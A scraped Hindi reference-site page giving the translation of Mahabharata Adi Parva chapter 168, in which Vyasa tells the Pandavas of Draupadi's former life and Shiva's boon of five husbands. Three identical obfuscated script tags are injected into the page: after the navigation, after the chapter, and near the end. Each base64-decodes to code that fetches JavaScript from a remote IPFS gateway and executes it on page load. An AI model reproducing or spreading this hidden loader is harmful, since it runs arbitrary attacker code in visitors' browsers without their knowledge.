महाभारत आदि पर्व अध्याय 168 श्लोक 1-16

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अष्‍टषष्‍ट‍यधिकशततम (168) अध्‍याय: आदि पर्व (चैत्ररथ पर्व)

महाभारत: आदि पर्व: अष्‍टषष्‍ट‍यधिकशततम अध्‍याय: श्लोक 1-16 का हिन्दी अनुवाद

व्‍यासजी का पाण्‍डवों को द्रौपदी के पूर्वजन्‍म का वृत्‍तान्‍त सुनाना

वैशम्‍पायनजी कहते हैं- जनमेजय ! महात्‍मा पाण्‍डव जब गुप्‍त रुप से वहां निवास कर रहे थे, उसी समय सत्‍यवती नन्‍दन व्‍यासजी उनसे मिलने के लिये वहां आये। उन्‍हें आया देख शत्रुसंतापन पाण्‍डवों ने आगे बढ़कर उनकी अगवानी की और प्रणाम पूर्वक उनका अभिवादन करके वे सब उनके आगे हाथ जोड़कर खड़े हो गये। कुन्‍ती पुत्रों द्वारा गुप्‍तरुप से पूजित हो मुनिवर व्‍यास ने उन सबको आज्ञा देकर बिठाया और जब वे बैठ गये, तब उनसे प्रसन्‍नतापूर्वक इस प्रकार पूछा-‘शत्रुओं की संतप्‍त करनेवाले वीरो ! तुम लोग शास्‍त्र की आज्ञा और धर्म के अनुसार चलते हो न ? पूजनीय ब्राह्मणों की पूजा करने में तो तुम्‍हारी ओर से कभी भुल नहीं होती ? तदनन्‍तर महर्षि भगवान् व्‍यास ने उनसे धर्म और अर्थ-युक्‍त बातें कहीं। फिर विचित्र विचित्र कथाएं सुनाकर वे पुन: उनसे इस प्रकार बोले। व्‍यासजी ने कहा-पहले की बात है, तपोवन में किसी महात्‍मा ॠषि की कोई कन्‍या रहती थी, जिसकी कटि कृश तथा नितम्‍ब और भौंहे सुन्‍दर थीं।वह कन्‍या समस्‍त सद्रुणों से सम्‍पन्‍न थी। परंतु अपने ही किये हुए; कर्मों के कारण वह कन्‍या दुर्भाग्‍य के वश हो गयी, इसलिये वह रुपवती और सदाचारिणी होने पर भी कोई पति न पा सकी। तब पति के लिये दुखी होकर उसने तपस्‍या प्रारम्‍भ की और कहते हैं उग्र तपस्‍या के द्वारा उसने भगवान् शंकर को प्रसन्‍न कर लिया। उस पर संतुष्‍ट हो भगवान् शंकर ने उस यशस्विनी कन्‍या से कहा- ‘शुभे ! तुम्‍हारा कल्‍याण हो। तुम कोई वर मांगो। मैं तुम्‍हें वर देने के लिये आया हूं’। तब उसने भगवान् शंकर से अपने लिये हितकर वचन कहा- ‘प्रभो! मैं सर्वगुण सम्‍पन्‍न पति चाहती हूं। इस वाक्‍य को उसने बार-बार दुहराया। तब वक्‍ताओं में श्रेष्‍ठ भगवान् शिव ने उससे कहा- ‘भद्रे ! तुम्‍हारे पांच भरतवंशी पति होगें’। उनके ऐसा कहने पर वह कन्‍या उन वरदायक देवता भगवान् शिव से इस प्रकार बोली- ‘देव ! प्रभो ! मैं आपकी कृपा से एक ही पति चाहती हूं। तब भगवान् ने पुन: उससे यह उत्‍तम बात कही- ‘भद्रे ! तुमने मुझसे पांच बार कहा है कि मुझे पति दीजिये। ‘अत: दूसरा शरीर धारण करने पर तुम्‍हें जैसा मैंने कहा है, वह वरदान प्राप्‍त होगा।‘ वही देवरुपिणी कन्‍या राजा द्रुपद के कुल में उत्‍पन्‍न हुई है। वह महाराज पृषत की पौत्री सती-साध्‍वी कृष्‍णा तुम लोगों की पत्‍नी नियत की गयी है; अत: महाबली वीरो ! अब तुम पञ्जालनगर में जाकर रहो। द्रौपदी को पाकर तुम सब लोग सुखी होओगे, इसमें संशय नहीं है। महान् सौभाग्‍यशाली और महातपस्‍वी पितामह व्‍यासजी पाण्‍डवों से ऐसा कहकर उन सबसे और कुन्‍ती से विदा ले वहां से चल दिये।

इस प्रकार श्रीमहाभारत आदि‍पर्व के अन्‍तर्गत चैत्ररथ पर्व में द्रौपदीजन्‍मान्‍तर कथनविषयक एक सौ अड़सठवां अध्‍याय पूरा हुआ।


« पीछे आगे »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:सम्पूर्ण महाभारत अभी निर्माणाधीन है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>